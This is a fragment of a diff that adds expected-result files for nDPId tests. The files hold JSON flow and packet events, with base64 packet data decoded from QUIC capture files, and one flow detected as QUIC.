+01723{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"quic-23.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568282515,"pkt_ts_usec":692143,"pkt_caplen":1017,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1017,"pkt_l4_len":963,"pkt":"nLbQWTW8nJcmWLFfht1jg4MNA8MRKzvMmZH6urrhzSri\/bO+xasuSndNJv1\/m3hbLRtPimPHAbvEowPDFkLs\/wAAFwjcZWkdxzWqcwhFc8YEuuNHtEMUyYrBFar3hn3903Wyiwal5ts19EiC\/\/0o403TuQXHzpo07QLjQNsCS6rfVQ9h\/bhZfcPHM1NTnnZdcI\/w+qZX0yTnNRovgdVWw6cVvyMMf\/AR4wKYphPcoUgcwsn7KReOxOm3nR3LYOawLtgN5YWMmql7MzZUW1CzcSjBB+M6TJiRoKw93nPerpbhVcyLUx25I3\/NADqEJnBz21jEouIL682I+IDJYwKoa48yaEr6CLTsyyGj\/lts\/4JjTKWASRBqsw7OY\/PZ+1W1OwDSwb\/PFJvlZQUl\/G5xBYfmg9n3A5KSgPg+AWI0iah3p4kBgWKDCRmgMv5aLdZqf97KuUEYmV3E77OatXFisUIwNgupj2ZBePSzcVFv6BviacQ0eIFnW\/WBQ8G99nQvGQgIVYRbS86l3ozgh4LzmRsw5Qx1M20rfV7sH8J5eDfvoJvM8Kt39vBoA2a\/YDhQooz13TukgVejyLKskuIKc854y2yoygBAiap3h\/2UZI1Hy+ylvot5B+\/VTalIWeEUdzPMUhYFiTMO6\/2d1DRzWkipTCjRPVLHWEScPJdEJ+VMNpVWsin+bWqHvT4BQnmP9jratt0VWOV2ObUqvupTouCJiGV9bM1dHvlMD7MRwtSrbsmRdsKZ3s9ntmpvH57yloY2vd7s1jXD5Tju8J3B+9DUXz6xNltvws\/LFUo2CSsbLQjNtWY3s5dPyf5CxKUWscmwismYbV97k961UCmVvPNlUhdtJ0fKJNxq75eNdsxnG3\/awZI3OuFYwxViRQiZCNMdgzOZGSKYfAy7Lp\/MhmSQ7bAc+NzZptzeI2dGY6EavQ3CQJraclZiH\/R2wGoMhKXvX1vwKDaGVZ6fDICtnupheoKdKLVVe1JbFxgSvP1CvU\/Fz5zvnUrUFgqsCm6EqZc9b0Nx46hJuQ+nXvuD7J3wzTSb4pIdJo3654drX\/so2eyJPJ93U+qbVr7vq7ywwBxcwDyk3BB58zXgOMZkN4mMUtFH32aXAokBlkhQ6f8WPzuTxuiyG3qJM8aRb4I2zN7cmOkjaJPcEMZK3GVpHcc1qnNubgcg9n\/B+tCxShTYqf9BsxGc4HfmCIwhwjiuwdU27nolghC\/g0vijyYzvRU15Q2hMyPcrtTOsXP1UDcSAxAEOHoM9K86QNjMEWUkGPI0wcCBc5w6OEh9AHnk5JwjWpUceKbwoH7jh6GuoflfGRMbCEmAFjB4Wu0Zq5vel1+DIem2Tl+i"} +00553{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"quic-23.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568282515,"pkt_ts_usec":693812,"pkt_caplen":159,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":159,"pkt_l4_len":105,"pkt":"nJcmWLFfnLbQWTW8ht1gDdl5AGkRQC5Kd00m\/X+beFstG0+KY8c7zJmR+rq64c0q4v2zvsWrxKMBuwBp0e\/G\/wAAFwhFc8YEuuNHtAjcZWkdxzWqcwBAF6fDAMMAJhGASeFDmt2B3PV5oRmlcgvC6v8AABcIRXPGBLrjR7QI3GVpHcc1qnNAF9ROAvn0lqrzo1vnuX+cMCbpFjsj7q4P"} +00911{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"quic-23.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568282515,"pkt_ts_usec":696184,"pkt_caplen":422,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":422,"pkt_l4_len":368,"pkt":"nJcmWLFfnLbQWTW8ht1gDdl5AXARQC5Kd00m\/X+beFstG0+KY8c7zJmR+rq64c0q4v2zvsWrxKMBuwFw4G3t\/wAAFwhFc8YEuuNHtAjcZWkdxzWqc0BPvLjwGAX6prrgTX3a3E9nV\/neLy6f6D1aL4AW7ZFFhtBTGIbvF48hHGdbgiiU81tgt+vmodZ2RG8bv++nz9H+TrtSRG\/V1bZo0rRqEJ6uLXtFc8YEuuNHtHe3YJ2mYY5Kj7VLPlyFWTxVj3D4ynrgMtP+ES8J5hYlasmgbcBjiaeIIGSM78XD0ZetULbmnYcr+261YjWGmgCHllE6ESDqENGKO9\/x6EPOzep5GXe6WsLwnro5QyXOgBT4DvhCB3s2Y5VMa71Sq8ea4xzabidQXJjSHOOoKBNwBetck2ZXZdBc22naoNcPPENdt+s1XW\/6i6FmYBAofaF5GgIdqv6jzc3ryObFofA1sVmUhrut2xxxw\/HgFM3t2fgK4\/Jlix6BDZV98FXGVnpQWoXGUnU7Jf1K1riT2lPHPc9slQktbx5sUNLfGBqV\/vYSeh7Nq1c="} +00511{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"quic-23.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568282515,"pkt_ts_usec":696471,"pkt_caplen":127,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":127,"pkt_l4_len":73,"pkt":"nJcmWLFfnLbQWTW8ht1gDdl5AEkRQC5Kd00m\/X+beFstG0+KY8c7zJmR+rq64c0q4v2zvsWrxKMBuwBJFkpiRXPGBLrjR7QsHYDHJzJtjcJg8JhvMi5imKA8\/toQUjiETm8cYBoF90tZQTyQt2ohQhsojF1xgJtntSat9vLdRw=="} +00744{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"quic-23.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568282515,"pkt_ts_usec":726776,"pkt_caplen":298,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":298,"pkt_l4_len":244,"pkt":"nLbQWTW8nJcmWLFfht1jg4MNAPQRKzvMmZH6urrhzSri\/bO+xasuSndNJv1\/m3hbLRtPimPHAbvEowD0rB113GVpHcc1qnNjKmwBeOAGN2OgejSVI4++yp6BDQZz6M03yokXbLK\/Yq8Y8+QSrTar9FI4Rc3kmVG6eUMw7GWc3mDhuXyo\/5ETBKO8Ycj1xTP9VKFNsVpv4HjC9+J9XL3C5NQ3wCEFhxLb+BTolHN0OL62VakGs1LJfAOo8HMWwjuPA3AxsSB8oVdbLRvVIqSNggkVnPbNb\/T4ed76NNux61Hxz5C8oVMw\/3WckVf8ODYSnk0clEfQrFIG0aqIX4DZcLUk5WkkvIOEb0yYiam3deQE0ylRS7XFEtqNPmLZ47UxF5nWOPDliiZcfg=="} +00529{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"quic-23.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568282515,"pkt_ts_usec":726821,"pkt_caplen":140,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":140,"pkt_l4_len":86,"pkt":"nLbQWTW8nJcmWLFfht1jg4MNAFYRKzvMmZH6urrhzSri\/bO+xasuSndNJv1\/m3hbLRtPimPHAbvEowBW6JVk3GVpHcc1qnPvtBf6ag+Lu09UXC1xV8Q58U\/2NXHIv3N5yh\/hmxWtwNPTNb56K6vuNNh1cZ6QWWd5RCEO0YZ1DcCJovH5enxZlxOwXGM="} +00524{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"quic-23.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568282515,"pkt_ts_usec":726827,"pkt_caplen":137,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":137,"pkt_l4_len":83,"pkt":"nLbQWTW8nJcmWLFfht1jg4MNAFMRKzvMmZH6urrhzSri\/bO+xasuSndNJv1\/m3hbLRtPimPHAbvEowBTHm593GVpHcc1qnOy+J3ztjMWSTlSeFaOe3tbAqYXS9opEWbtLyrd0nurcrRzpEOnXpPFlvCo2crpAHKxbZst0RqPO\/2JYXMf+BcP57k="} +01785{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"quic-23.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568282515,"pkt_ts_usec":726831,"pkt_caplen":1064,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1064,"pkt_l4_len":1010,"pkt":"nLbQWTW8nJcmWLFfht1jg4MNA\/IRKzvMmZH6urrhzSri\/bO+xasuSndNJv1\/m3hbLRtPimPHAbvEowPyba193GVpHcc1qnN\/gtANvmK9zNsfLmK29LDaYULex+YaNf84oVhDebfQB1069egio5I6mBW2aXz1O7EzV9PcjIexpnLynCDS8Ay0u4FG\/iPJrZRkHpcUEawUBqWX+\/Z18RtYJcB\/wiTUceIWpsC5en1\/rJ93zpk6YfxQ2SgYPH+8QekuIy73ZEfpc7ZBrrz1OtIpGTE3b0NTG8\/oLyvcs0mDFlqqhVJMgClHEJvBXvhOFhIbszd8lnudim1R0nrTCZBz5hU1hzW6UQp8CyAEZTgM9RT+kElsgEsjB+6CO4x27TFrcAU35\/JFx81eErZZrTou6Eucw\/0RkMleg9ECTP2hX+AFlBCICqH2re3F3HbtF0XKPJIipbKPQ0i183oPYEed7\/sbLLrvI7WnKppaWnFzifSZInFUp5+KCW9fcYvSpB+F7scXLgFTs61csFaJbV0AeNOKnJia5ksm1KMiVPUjYK19jLs+rMDG2sSvJ+aTj6cGpSpw7YTlhwBMVy\/pFiJ42bvVEY8F9IIv\/U5Jvm2X2skOj6bsvU1OoXnfxa29p0gtbVQi4oZgu5jfvwfBVHk45GLNTskrH2mzRjdyoFiLQJePKMVyaZM7S1s4ZVcYgjh44lyMdEkH3APTq59hYuAYwti+fzR2Dd3ZZk3nrgkupdVt\/3pXRttNMluREFT1VXQT0x2V9wxYqjwdsIt6fax9suLMmwKbxDfLYeMZWuZbFIB8zEZzDST0e4Zav0WvExu3GOYBwhsoa7OZc4AOU9+l\/jTevV6B5lfA4HOcIIMcZe1GaSBvsSd6THwqyhC9uYfzVOtrfGAxTWGy7+opa0modB58eWwV+9AOsdsh4mmgW719SNEtlGaG8daIcXmHmW2wGV3jM3QIjBRjCEmCuvJDxJEt+YmFfA6wxGTeVSYw4PKpWSJWDwLa1Mg4bpbh07zce+MBhhebZC7XPtpe1t8uqegjkFyUcyeAcrKxJY2xvSnag5UbnJWoTgGGMZXKzj0vkzqeqlfZ9FA2EgwUQwpDnpHlQ6Ya1i2edSqG8TnMVhPXMsqmE0Bbf+ytPF1kQqNb5tbHBea8gg8fv\/JS041aH5\/CVzsEyB9RYRlm\/9rGJLQGL+UFOIZrrDcvMdv8IcWFx7iLmbLRYUyGiiQPZ9KK8Wh3MN2aMudMXrbQVkOGLjuxE+eKKwJNpEShI0M0dnSIZZF1GJwQb9x0b7ybnvVxcZ9OWE0MlXFR0EmGKL6iXsxoW2bnJiPzZsh+8ba4s9KCuv79natdUz1Txe8\/dtGpHdVPbWhY2ADwiSAGcRZ\/CD\/cYgDAxAX9vjuuokLRk9FrH27TGQcl54A="} +00466{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"quic-23.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568282515,"pkt_ts_usec":728050,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"nJcmWLFfnLbQWTW8ht1gDdl5ACgRQC5Kd00m\/X+beFstG0+KY8c7zJmR+rq64c0q4v2zvsWrxKMBuwAoM21ZRXPGBLrjR7QY9y3kJOd65lFC+l5AQlNOwEX50LtRBA=="} +00468{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"quic-23.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568282515,"pkt_ts_usec":728409,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"nLbQWTW8nJcmWLFfht1jg4MNACgRKzvMmZH6urrhzSri\/bO+xasuSndNJv1\/m3hbLRtPimPHAbvEowAo\/c1+3GVpHcc1qnN0Ds42DxgBYQ82Msd7ZGoSqN66ENYUgQ=="} +00630{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"quic-23.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568282515,"pkt_ts_usec":728438,"pkt_caplen":212,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":212,"pkt_l4_len":158,"pkt":"nLbQWTW8nJcmWLFfht1jg4MNAJ4RKzvMmZH6urrhzSri\/bO+xasuSndNJv1\/m3hbLRtPimPHAbvEowCeTupg3GVpHcc1qnMC97qQLALpHRH9g5VkkV84+ZGr\/B23m4txM5qcs\/TUYt+7VjrD8sG3eTIYvK2yUPG0u3+m3aXmzQ8t1rb4GVFKW3GipGc+9f+cQIsrMoj1qdhUI54DW1qjhlWeXHFwz\/mNBQ8bkkA\/ugvgtTABvTfxcwa+XCMT3qmgbQsNKvFnYayUHn+tLvv7O+BCzWE="} +00584{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"quic-23.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568282515,"pkt_ts_usec":728444,"pkt_caplen":180,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":180,"pkt_l4_len":126,"pkt":"nLbQWTW8nJcmWLFfht1jg4MNAH4RKzvMmZH6urrhzSri\/bO+xasuSndNJv1\/m3hbLRtPimPHAbvEowB+Mb5s3GVpHcc1qnPVz8xc9o6RIS2AjHhtHQE2r1rHEdUzCcoOwGvvKVzABDAx0KvRZaIBIpxSb4lmHh3Al38WGs5GCTly3xPKPXS8D4CyH8Q4bP5dENC5CuAagi15\/TVcxc7eCqv5gMEP8L9V\/st9GkbNC7L5KHzN"} +00468{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"quic-23.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568282515,"pkt_ts_usec":729605,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"nJcmWLFfnLbQWTW8ht1gDdl5ACgRQC5Kd00m\/X+beFstG0+KY8c7zJmR+rq64c0q4v2zvsWrxKMBuwAoDs1PRXPGBLrjR7TqLABTK+TsP5wNYWccDpmpF\/I4\/Gqybg=="} diff --git a/test/results/quic-24.pcap.out b/test/results/quic-24.pcap.out new file mode 100644 index 000000000..804777603 --- /dev/null +++ b/test/results/quic-24.pcap.out @@ -0,0 +1,17 @@ +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"quic-24.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1574209133040,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"10.9.0.1","dst_ip":"10.9.0.2","src_port":41436,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02088{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"quic-24.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1574209133,"pkt_ts_usec":40250,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"ClnTQ78Jzivom94WCABFAAUA04pAAEARTk4KCQABCgkAAqHcAbsE7BkSw\/8AABgSKZqySaf1jUZ9aFypIIlM688aEfXDUlabjvj32ExHj28K\/LzWAES33jM5bR+MtpU1BLUazwIKZfi2UUsjupyQtwh0cwaTGSNsc3ziOvMvl5HeN7dnqFzrpWV5xSzaGXCCKPfdH3vP8j3J6ZLIzElZQZR3emJo528x+jgZIHOdaSnx3DWXxF2zh+YTIF4T7iX6QufVjaqbZGcqLfU2h5UhvDV4FwyX3uhlDNyKeZHYtgm98LQqq4\/RRT1KTyGKWwsLmYKiT2RZhGfdnj7cabAAzsX7Lk2p9chyJNCYC2rvLfiUJPAyxycnjNSX2Lj6Aqa8nfo2RgXdwfCaQgxab+TGB6bvb9v+EsUoxuSJh+r\/RN\/6YKeOx43w+asFLV8uu4y7ez42UTvh8WhWB9gu2sFvRZZAH2gXrPZjvaMUKjvUztSfZobDePj\/3bGH7ParnvadIlRAYU9Q2+DurqTinGpGLj1JdKLQoxeMx5eGSPtbuqNyirKapdyXJ8ZKCVjdL9m2B38WlanD9I0yGpWtoLvsOi8f8x\/fhHjJnp\/JSreuYABX7IvE9OH17Ka\/DYXSP3horLga3cmeawXPCcyfSVzp0vy3ZIaVNlu8tvkbFVJwffn9HIFK6HKNWjCpRF+ahuWdOTEeIZZ7i7JR8vw5bYFyaufxilZin8M6RIaJMeMrQc4vvfUfbDjsZuuyfMbD+CtkYjt3ODwFx3+9dnCnls3bcnN\/LK\/fVogu1W6dC2V8OgzkkQDp+glgaZFK3x1y9W9tAnAfcG86bUqaAVXac16E+jbjt3xUVxE3wSFwqpaXR87jZ7puVI7a++RK4x\/CPU7cBx4HxakipMRXAW7+Zzm5Uylji8R1ndMJge591UykzR\/a1rIFwcUFafwyzFwutVakAK\/iM4YhBMTpFZmHTyv44rZt\/SzvRW3ChO61o38I1VeCK0g8ZFXOiuIW\/pELm4Rr3xBh76iDlvWF6YcC0+i92ff1n2MDPlwUBp2JPBEhF9KRkoluOW0vEGZjgOTNF0WO0oSPjp6cRmPu7QFACVxUUAGGJ52pSjmae6FO4iTNFAYtrcv+HXjZLY56ae9mCQOyLL1m06CQPGFQiHOPr2CJqh4awJXrhUafIQCu5ugPi3shAySSxxSNpoi1XFyoXHmAfehBuKAMDEBi\/K2+sO4vF3gp9aph5gyVGEs0pc0rnIKidNla3xHEAlRzhJVd750Uscx9utTZFhNIJHFYbXnWol4tLG+jZZli4l18thfxYBatUVfQbpNdD\/lD+eYzZtOp7YtW1ZKF+ROaDrWxEjfCdVtcjK18Uyjgz5TeZuG7pFJ5t3qyXb+n\/5MzCAN9XPJPpQiYdvqPfvMUwezKWPFBlXc3KAr8TrBHXbzxwj68KugT8kPF6Hf1ZknvffVMbgWpKERCnzNCkdVDHz0qsfdTxN1E8gHLdnzTTb4wYHbDra2Qy1AzeGTZ5VuCqGVCxMyMSucpv1SUY2NRHw7nEKVm2pvwZDPcCeEad3kICbdC4XAMVUx0Mf\/rJlO1G38DhZUFTtkiOIXY+C24n5VM7VxZQ+dzu2YG1ROOR1dGwLm4sR7mTJIH6rldcwpGAOA19nihJl7wI7sV3QgaIXVtqDL9j\/YH7Q44xODtLK6dfnLZ9llZp8VromtwQj2StAFDoQ=="} +00663{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"quic-24.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1574209133040,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"10.9.0.1","dst_ip":"10.9.0.2","src_port":41436,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"localhost","version":"TLSv1.3","alpn":"h3-24","ja3":"b3e43d74f4b790abca2f5fe7dd06e7cf","tls_supported_versions":"TLSv1.3"}} +00573{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"quic-24.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1574209133,"pkt_ts_usec":41078,"pkt_caplen":177,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":177,"pkt_l4_len":143,"pkt":"zivom94WClnTQ78JCABFAACjQSNAAEAR5RIKCQACCgkAAQG7odwAjxS18P8AABgR9cNSVpuO+PfYTEePbwr8vNYSuDzEUSnLqX7jSNZH88cG3IWnEimaskmn9Y1GfWhcqSCJTOvPGgt6q75e4Qn+zUFJSyFY0SIiHRpQLjIDBESVGuKc8OTad8PhKZ1BA74OASFH4nOmQVGBciF1MYu4zBXJkM1rI\/zCp6CTKJAyA9IF"} +02092{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"quic-24.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1574209133,"pkt_ts_usec":41861,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"ClnTQ78Jzivom94WCABFAAUA04tAAEARTk0KCQABCgkAAqHcAbsE7BkSzv8AABgSuDzEUSnLqX7jSNZH88cG3IWnEfXDUlabjvj32ExHj28K\/LzWQEoLequ+XuEJ\/s1BSUshWNEiIh0aUC4yAwRElRrinPDk2nfD4SmdQQO+DgEhR+JzpkFRgXIhdTGLuMwVyZDNayP8wqegkyiQMgPSBURs4UrqJXSOmdlzOQkT83Thm0cw7nGhY1Dqr9WBER804ydL76SsuNgGBxQl7a0HOKMMpAXLx8NIbh0fGKNE2byFJvnpcszX0hTK6rJr5u2g5MPDhCWVAqZWA\/ogTmUNM\/hiTPfQkeihINkuu2xiOaqPKq8sMuQjF678ZOS3GHn+0TKDo1\/YbLwJy\/ZpXJGxt30cfRSaAH1ZjGC\/le3BtTf6Ee25IG79XjyhHYyykWI2qhKWR0WZIipTrVnQ8OQ9VFey3MfNakIGaPPsyV69yfAmkmASAVXFu7Mo6y0Wz\/k+XakzO7FNz+SVS8r\/HampTgbi4jZsv70uNhIa7mA4qtW67mQ4Rtz5mrDrLhqz2cchVuQJJMooj0k2Xmg5SrVAA8L+yguIaKrDD971nuLq358VPAy8fRB724dILFO0lMVCte\/by\/Z5smTmpZsXjBALsYbcl4FVVEwEstKsA+gV11h+TKoi0PysZzUv4Co6O8\/IBnHMvA3aNldZ6T2\/ehbVZg8kV+TWp68hUC2ZNn0WR\/hIHa\/ud6KCIM2HuunHoyDST3M99tIIw9T05lx57290aLBbTURhE0FEw+sGowcXu3C80nVKiDimHMp1c6mqiWhDKZbGOAdpIWwpYqyGb1wbm5oAoXEAR7Mc+jjR0J8zJlFvt86aEVTtTJma3fejOJ3C6CfSBtcEM9aVUQVmL1wf7Fi6TTqbbFA9hnROhk7vqewbhtVmirjNaHoW3nHcl5Ky2MEXCHIhVYecuDZG8tKTrUF\/HFpCaGl9ktkqkasn0g56PGXthtx8q15PYDSjv9yWDxzwqk6QO6Yvxw5QtpcdW836IfXVH9twCWk7tokUrBa+jkGq4sxymyp8HJzlBaLvbaRQuaENeIm3CsGj3g9j2MS5rx5x6bLrNsqG7vyWFoKKK6rqr6vFuCF2irBVzzRdUFclg1SSHgOpaIic+xLUKXq+lZZKiY1RKji5vWjtQKTKYEV029kaxm787YffQ8yTZZB6Hh6BkDWEPJYKpvcHrYxyRBFLQRGWx4ITq5kdTA0MWD1a5s3\/Tz1ghAL0hkcPsti\/Um+kiW+XSNOONWqykERpHTJUdF9XR9VjidFyK82bmGKcNXGpEf6KxiEWWOfrwygEpxaXYc1XPpi+3jqe95\/5QRYGsINOcrD5IkF6QniULDRMMwwkr\/ECjICIiZDSB0yvurV+rIeACZwQwc9BCfZ20PoMtA9Sb0+HvwlI89lLwU1WoQ\/uQFCU2G+iaFma79WKu7nfdJy0UCSpgYk\/WwxenGfaRqde0duIKqJ4VQR7DQ\/1P+Fdg7iOLJglPQ16bgg\/VS+HMi5ElBV9H43KK0X9+d\/wx6yTnUwB9LBosIDE739HoREBuU9qFyhmlmKq9iiXdK9S72zzDVpgLdZ5NTJCzLKyehhNiJq3WHWlmpoiXXclIQS2qvLhF3s8CmoQTCIFD2YwbMLNLc3NR5kX4hROEBrWwC9+79LiHN5YezdiHlgZ3UHXQ0QcCITAtA=="} +00563{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"quic-24.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1574209133,"pkt_ts_usec":46090,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"zivom94WClnTQ78JCABFAACaQSRAAEAR5RoKCQACCgkAAQG7odwAhhSswv8AABgR9cNSVpuO+PfYTEePbwr8vNYS4JjP5xnPhXULMwsGez9pmn\/bAEBR7JWFbqBk4i5AJ7l7qSlE+tX2yrubmhFzRlx21yBiPVDLnRsXzX9MvNztVp29bxmR1P08S3NdkCTmJvy4iWq\/7WRG5bc9bbtXoIExxVobW\/gF"} +02084{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"quic-24.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1574209133,"pkt_ts_usec":47397,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"ClnTQ78Jzivom94WCABFAAUA041AAEARTksKCQABCgkAAqHcAbsE7BkSzf8AABgS4JjP5xnPhXULMwsGez9pmn\/bEfXDUlabjvj32ExHj28K\/LzWQEoLequ+XuEJ\/s1BSUshWNEiIh0aUC4yAwRElRrinPDk2nfD4SmdQQO+DgEhR+JzpkFRgXIhdTGLuMwVyZDNayP8wqegkyiQMgPSBURsHHBv+mMkgMKbL1L8HaaigAV7t4eD5XPruskWTZTpFm1h9Cm3DzPxeQvTSEwHtDrEOpz6YFy82UDJYYLzV8itjsSuAl3BN2XPA7e06ZEWotlL9Br9TZWw4p83NDVQGkChBgIL6f1nIN2ojZvrHvpzk0MfCiu\/boqXdpIsBERYdwXRPlbEhxdUMcMYA7eh8N4TKuC9HmChlfkHaTI9GkWRyMAMzxtZMhCl3LoimMkhWCfqmVgDVhtz4Dif9R3RkIY9hzuUCMKU7oaOOUiDfZuxIU3WloNXp8o12YBXza0fzRQpYGqa7piZ7PVUXOGcUM\/cFuqscmeLVQOsoy4i4CGC+MSSW43OpT+j2aHawId4E4DeDRugsomOlKszLuMP4ykA2XzxEcbZMu330eInLeApkaX+snpful9w18f09BHmkH10HjWW+o+8oFuEG0J2hwlJ3TmZuH+IBwCzohntVbymn7aQKhoP0MV8t5fXtaD3vzu3igqOoz64Q+7\/Sx9TpI8jZHMY5bI6Kx+leY4ybxXsUaY9q0gvlZcgyTiYn8SSRvRZMXNcQW2xksYLy8WttjxWgRkmFmsQrwrmI+8rN1prhvjqtq9svG38UVICHD+O9YB6LgA6f2DnN5DLokrYt0c0SwvSqZm2zBXMqoCDF3Mvxf5duIyZR8amJWjBMoLkZN+I+jb+DRrnFUITzuCvlxJQBLZbBvmXcpD7KXKyeyqlEx5yPFydiu3Ptcszr+5KTMkbP82kPXV\/bjI4L9oBErJhJCans3wo72EkAcuKLd6CCThJXE7Eh\/LDUjZHt\/8eNb7S3jzPF8xwguDIHq5S3aAjhS3QICFDHNn54BjdvvO5iW7zqJCZLSz3CwZ1+MRXms7+nxM12o9227S7LvP9CKQt3pRuzfLorLdpjg9GKs8caLZS\/zPBPaxxYsAkVs\/TxyqkBKa+anVJ99dxXNbDJQmTbQiadhbUe5CTXS5up1QYApDHCBfC0uOVL5lGIcrbl3PMnI1Dz2NdmW84pfg6c+eP0VFTKo0ia+JMYIRzTujqTSk0FE2waqFp3fDr8Hyu8mFx9hmtHgkYMyRj0Bt4LlwBJ79sxjVaEgTqHIx9xF9TjPLkAQXWiLTUTtZO41N3FxjyHC7iUvDol\/CotNpvZxVVNzqh35++58kx3dGzWg7RNObbhbgYckZgts8lfGtJHdaWCmm68Pkjb25Blv1HmPokRC5N98vgYvduuuS7fDGGlvtjz\/JIS10RWkuAlJb\/TeU30L5OeUDpr4zmcBbCs18tprlmixC6jVnlsoejFSyGESEQ56JY+Y6YELlJh011Icv+\/BxJXul2kP65qokwiQy6MoaIpxYelTFp5PRef54cjqcJi3DU8ahYYjMd+pFAh\/vGQ66+sQubQDPeRB01N5+3eG5Zyh2ZkNxzZLSsfMGkHSVTT3SqZ+mT2IOgPbQy8Y2nObPD5adavrO8MXO+JeqH6a5Ct3KlMPOBt4e134vezowr\/x2Ai2BFLL0Buw=="} 